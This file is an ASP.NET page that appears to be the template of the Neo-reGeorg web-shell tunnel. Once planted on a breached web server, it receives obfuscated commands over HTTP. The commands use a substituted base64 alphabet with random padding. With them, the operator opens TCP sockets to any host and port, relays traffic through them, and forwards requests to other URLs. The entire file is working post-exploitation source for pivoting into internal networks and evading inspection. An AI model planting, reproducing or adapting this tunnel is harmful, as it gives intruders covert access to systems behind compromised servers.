<%@ Page Language="C#" EnableSessionState="True"%>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Text" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Collections" %>
<script runat="server">
    public String StrTr(string input, string frm, string to) {
        String r = "";
        for(int i=0; i< input.Length; i++) {
            int index = frm.IndexOf(input[i]);
            if(index != -1)
                r += to[index];
            else
                r += input[i];
        }
        return r;
    }

    public static Object[] blv_decode(byte[] data) {
        Object[] info = new Object[40];

        int i = 0;
        int data_len = data.Length;
        int b;
        byte[] length = new byte[4];

        MemoryStream dataInput = new MemoryStream(data);

        while ( i < data_len ) {
            b = dataInput.ReadByte();
            dataInput.Read(length, 0, length.Length);
            int l = bytesToInt(length) - BLV_L_OFFSET;
            byte[] v = new byte[l];
            dataInput.Read(v, 0, v.Length);
            i += ( 5 + l );
            if ( b > 1 && b <= BLVHEAD_LEN ) {
                info[b] = Encoding.Default.GetString(v);
            } else {
                info[b] = v;
            }
        }

        return info;
    }

    public static byte[] blv_encode(Object[] info) {
        Random r = new Random();
        info[0]  = randBytes(r, 5, 20);
        info[39] = randBytes(r, 5, 20);
        MemoryStream buf = new MemoryStream();
        for (int b = 0; b < info.Length; b++) {
            if ( info[b] != null ) {
                Object o = info[b];
                byte[] v;
                if ( o is String ){
                    v = Encoding.Default.GetBytes( (String) o );
                } else {
                    v = (byte[]) o;
                }
                buf.WriteByte((byte) b);
                try {
                    byte[] l = intToBytes(v.Length + BLV_L_OFFSET);
                    buf.Write(l, 0, l.Length);
                    buf.Write(v, 0, v.Length);
                }catch(Exception e) {
                }
            }
        }
        return buf.ToArray();
    }

    public static byte[] randBytes(Random r, int min, int max) {
        int len = r.Next(min, max);
        byte[] randbytes = new byte[len];
        r.NextBytes(randbytes);
        return randbytes;
    }

    public static int bytesToInt(byte[] bytes) {
        int i;
        i =   (  bytes[3] & 0xff )
            | (( bytes[2] & 0xff ) << 8 )
            | (( bytes[1] & 0xff ) << 16)
            | (( bytes[0] & 0xff ) << 24);
        return i;
    }

    public static byte[] intToBytes(int value) {
        byte[] src = new byte[4];
        src[3] = (byte) (value & 0xFF);
        src[2] = (byte) ((value >> 8) & 0xFF);
        src[1] = (byte) ((value >> 16) & 0xFF);
        src[0] = (byte) ((value >> 24) & 0xFF);
        return src;
    }
</script>
<%
    int DATA          = 1;
    int CMD           = 2;
    int MARK          = 3;
    int STATUS        = 4;
    int ERROR         = 5;
    int IP            = 6;
    int PORT          = 7;
    int REDIRECTURL   = 8;
    int FORCEREDIRECT = 9;
    
    String GeorgHello = "NeoGeorg says, 'All seems fine'";

    Object[] info  = new Object[40];
    Object[] rinfo = new Object[40];

    String en = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    String de = "BASE64 CHARSLIST";

    String requestDataHead = "";
    String requestDataTail = "";
    
    if (Request.ContentLength != -1) {
        byte[] buff = new byte[Request.ContentLength];
        Request.InputStream.Read(buff, 0, buff.Length);
        String inputData = Encoding.Default.GetString(buff);
        if (USE_REQUEST_TEMPLATE == 1 && inputData.Length > 0) {
            requestDataHead = inputData.Substring(0, START_INDEX);
            requestDataTail = inputData.Substring(inputData.Length - END_INDEX, END_INDEX);

            inputData = inputData.Substring(START_INDEX);
            inputData = inputData.Substring(0, inputData.Length - END_INDEX);
        }
        string b64 = StrTr(inputData, de, en);
        byte[] data = Convert.FromBase64String(b64);
        info = blv_decode(data);
    }

    String rUrl = (String) info[REDIRECTURL];        
    if (rUrl != null){
        Uri u = new Uri(rUrl);
        WebRequest request = WebRequest.Create(u);
        request.Method = Request.HttpMethod;
        foreach (string key in Request.Headers)
        {
            try{
                request.Headers.Add(key, Request.Headers.Get(key));
            } catch (Exception e){}
        }

    try{
        Stream body = request.GetRequestStream();
        info[REDIRECTURL] = null;
        byte[] data = Encoding.Default.GetBytes( requestDataHead + StrTr(Convert.ToBase64String(blv_encode(info)), en, de) + requestDataTail );
        body.Write(data, 0, data.Length);
        body.Close();
    } catch (Exception e){}

    HttpWebResponse response = (HttpWebResponse)request.GetResponse();
    WebHeaderCollection webHeader = response.Headers;
    for (int i=0;i < webHeader.Count; i++)
    {
        string rkey = webHeader.GetKey(i);
        if (rkey != "Content-Length" && rkey != "Transfer-Encoding")
            Response.AddHeader(rkey, webHeader[i]);
    }

    StreamReader repBody = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding("UTF-8"));
    string rbody = repBody.ReadToEnd();
    Response.AddHeader("Content-Length", rbody.Length.ToString());
    Response.Write(rbody);
    return;
}

Response.StatusCode = HTTPCODE;
String cmd = (String) info[CMD];
if (cmd != null) {
    String mark = (String) info[MARK];
    if (cmd == "CONNECT") {
        try {
            String target = (String) info[IP];
            int port = int.Parse((String) info[PORT]);
            IPAddress ip;
            try {
                ip = IPAddress.Parse(target);
            } catch (Exception ex) {
                IPHostEntry host = Dns.GetHostByName(target);
                ip = host.AddressList[0];
            }
            System.Net.IPEndPoint remoteEP = new IPEndPoint(ip, port);
            Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

            // set the connect timeout to 2 seconds, default 20 seconds
            IAsyncResult result = sender.BeginConnect(remoteEP,null,null);
            bool success = result.AsyncWaitHandle.WaitOne( 2000, true );

            if ( sender.Connected ) {
                sender.Blocking = false;
                Application.Add(mark, sender);
                rinfo[STATUS] = "OK";
            } else {
                sender.Close();
                rinfo[STATUS] = "FAIL";
                if ( success ) {
                    rinfo[ERROR] = "Port close";
                } else {
                    rinfo[ERROR] = "Port filtered";
                }
            }
        } catch (Exception ex) {
            rinfo[STATUS] = "FAIL";
            rinfo[ERROR] = ex.Message;
        }
    } else if (cmd == "DISCONNECT") {
        try {
            Socket s = (Socket)Application[mark];
            s.Close();
        } catch (Exception ex){
        }
        Application.Remove(mark);
        } else if (cmd == "FORWARD") {
            Socket s = (Socket)Application[mark];
            try {
                s.Send((byte[]) info[DATA]);
                rinfo[STATUS] = "OK";
            } catch (Exception ex) {
                rinfo[STATUS] = "FAIL";
                rinfo[ERROR] = ex.Message;
            }
        } else if (cmd == "READ") {
            try {
                Socket s = (Socket)Application[mark];
                int maxRead = MAXREADSIZE;
                int readbuflen = READBUF;
                int readLen = 0;
                byte[] readBuff = new byte[readbuflen];
                MemoryStream readData = new MemoryStream();
                try {
                    int c = s.Receive(readBuff);
                    while (c > 0) {
                        byte[] newBuff = new byte[c];
                        System.Buffer.BlockCopy(readBuff, 0, newBuff, 0, c);
                        string b64 = Convert.ToBase64String(newBuff);
                        readData.Write(newBuff, 0, c);
                        readLen += c;
                        if (c < readbuflen || readLen >= maxRead)
                            break;
                        c = s.Receive(readBuff);
                    }
                    rinfo[DATA] = readData.ToArray();
                    rinfo[STATUS] = "OK";
                } catch (SocketException ex) {
                    rinfo[STATUS] = "OK";
                }
            } catch (Exception ex) {
                rinfo[STATUS] = "FAIL";
                rinfo[ERROR] = ex.Message;
            }
        }
        Response.Write(StrTr(Convert.ToBase64String(blv_encode(rinfo)), en, de));
    } else {
        Response.Write(Encoding.Default.GetString(Convert.FromBase64String(StrTr(GeorgHello, de, en))));
    }
%>
